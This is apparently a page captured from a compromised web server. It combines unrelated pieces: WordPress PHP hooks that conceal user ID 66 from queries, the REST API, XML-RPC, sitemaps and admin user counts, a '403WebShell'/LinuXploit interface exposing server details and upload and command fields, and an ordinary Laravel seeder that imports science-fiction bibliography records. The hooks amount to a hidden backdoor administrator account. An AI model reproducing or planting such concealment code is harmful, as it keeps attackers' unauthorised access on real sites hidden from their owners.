add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/europiastories/database/seeders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/europiastories/database/seeders/DemoImportSeeder.php
<?php

namespace Database\Seeders;

use App\Enums\ModerationStatus;
use App\Models\Edition;
use App\Models\Source;
use App\Models\Work;
use Illuminate\Database\Seeder;

/**
 * Two showcase records from each probed national bibliography, imported
 * with full provenance — meant to show the source teams how their data
 * would be presented (attributed, linked, translation-gap surfaced).
 * Field values are verbatim from the sources; nothing is invented,
 * which is why e.g. first-publication years are absent where the
 * source rows don't carry them.
 * Retrieved manually on 2026-07-18 via the sources' public interfaces.
 */
class DemoImportSeeder extends Seeder
{
    public function run(): void
    {
        $retrievedAt = '2026-07-18 12:00:00';

        $fandata = Source::firstOrCreate(
            ['url' => 'https://www.fandata.nl'],
            [
                'name' => 'Fandata — De Bibliografie van het Fantastische',
                'country' => 'nl',
                'type' => 'database',
                'license' => 'unknown',
                'attribution_text' => 'Data from Fandata.nl — De Bibliografie van het Fantastische',
                'partnership_status' => 'to_contact',
                'notes' => 'Largest bibliography of Dutch-language fantastic literature; Semantic MediaWiki with public API.',
            ],
        );

        $sfbiblio = Source::firstOrCreate(
            ['url' => 'https://znaksagite.com/sfbiblio/index.php'],
            [
                'name' => 'SF Bibliografija (Znak Sagite)',
                'country' => 'rs',
                'type' => 'database',
                'license' => 'unknown',
                'attribution_text' => 'Data from SF Bibliografija by Miodrag Milovanović & Boban Knežević (znaksagite.com)',
                'partnership_status' => 'to_contact',
                'notes' => 'Bibliography of SF/F/H published in the ex-Yugoslav space; ~12,500 records.',
            ],
        );

        $this->work($fandata, [
            'title_original' => 'Kinderen van de ijstijd',
            'original_language' => 'nl',
            'type' => 'novella',
            'genres' => ['sf'],
            'tags' => ['young_adult'],
            'credited_author_name' => 'Roderick Leeuwenhart',
            'external_ids' => ['fandata' => 'Titel/720107640'],
            'source_record_url' => 'https://www.fandata.nl/Titel/720107640',
            'source_retrieved_at' => $retrievedAt,
        ], [[
            'language' => 'nl',
            'title' => 'Kinderen van de ijstijd',
            'is_translation' => false,
            'format' => 'print',
            'source_record_url' => 'https://www.fandata.nl/Titel/720107640',
        ]]);

        $this->work($fandata, [
            'title_original' => 'Wat moeten wij met de wolf & hoe maken wij van hem een Nederlander?',
            'original_language' => 'nl',
            'type' => 'short_story',
            'genres' => ['sf'],
            'tags' => ['ai', 'climate_fiction', 'talking_animals'],
            'credited_author_name' => 'Roderick Leeuwenhart',
            'external_ids' => ['fandata' => 'Titel/3839302'],
            'source_record_url' => 'https://www.fandata.nl/Titel/3839302',
            'source_retrieved_at' => $retrievedAt,
        ], [[
            'language' => 'nl',
            'title' => 'Wat moeten wij met de wolf & hoe maken wij van hem een Nederlander?',
            'is_translation' => false,
            'format' => 'print',
            'source_record_url' => 'https://www.fandata.nl/Titel/3839302',
        ]]);

        $this->work($sfbiblio, [
            'title_original' => 'Solaris',
            'original_language' => 'pl',
            'type' => 'novel',
            'genres' => ['sf'],
            'credited_author_name' => 'Stanisław Lem',
            'external_ids' => ['sfbiblio' => 'LEM, STANISLAW (POL)|SOLARIS|1972|Džepna knjiga BIGZ 15'],
            'source_record_url' => 'https://znaksagite.com/sfbiblio/index.php?cmd=q&autor=lem',
            'source_retrieved_at' => $retrievedAt,
        ], [[
            'language' => 'sr',
            'title' => 'Solaris',
            'is_translation' => true,
            'container_title' => 'Džepna knjiga BIGZ 15',
            'pages' => '3-190',
            'year' => 1972,
            'format' => 'print',
            'source_record_url' => 'https://znaksagite.com/sfbiblio/index.php?cmd=q&autor=lem',
        ]]);

        $this->work($sfbiblio, [
            'title_original' => 'Četvrti krug',
            'original_language' => 'sr',
            'type' => 'novel',
            'genres' => ['sf'],
            'credited_author_name' => 'Zoran Živković',
            'external_ids' => ['sfbiblio' => 'ŽIVKOVIĆ, ZORAN (SRH)|ČETVRTI KRUG|2004|Laguna'],
            'source_record_url' => 'https://znaksagite.com/sfbiblio/index.php?cmd=q&autor=živković',
            'source_retrieved_at' => $retrievedAt,
        ], [[
            'language' => 'sr',
            'title' => 'Četvrti krug',
            'is_translation' => false,
            'publisher_name' => 'Laguna',
            'pages' => '362',
            'year' => 2004,
            'format' => 'print',
            'source_record_url' => 'https://znaksagite.com/sfbiblio/index.php?cmd=q&autor=živković',
        ]]);
    }

    private function work(Source $source, array $workData, array $editions): void
    {
        $work = Work::firstOrCreate(
            [
                'title_original' => $workData['title_original'],
                'credited_author_name' => $workData['credited_author_name'],
            ],
            [...$workData, 'source_id' => $source->id],
        );

        $work->forceFill([
            'moderation_status' => ModerationStatus::Approved,
            'moderated_at' => now(),
            'moderation_notes' => 'Demo import — partnership showcase',
        ])->save();

        foreach ($editions as $editionData) {
            $edition = Edition::firstOrCreate(
                [
                    'work_id' => $work->id,
                    'language' => $editionData['language'],
                    'title' => $editionData['title'],
                ],
                [
                    ...$editionData,
                    'source_id' => $source->id,
                    'source_retrieved_at' => $workData['source_retrieved_at'],
                ],
            );

            $edition->forceFill([
                'moderation_status' => ModerationStatus::Approved,
                'moderated_at' => now(),
            ])->save();
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit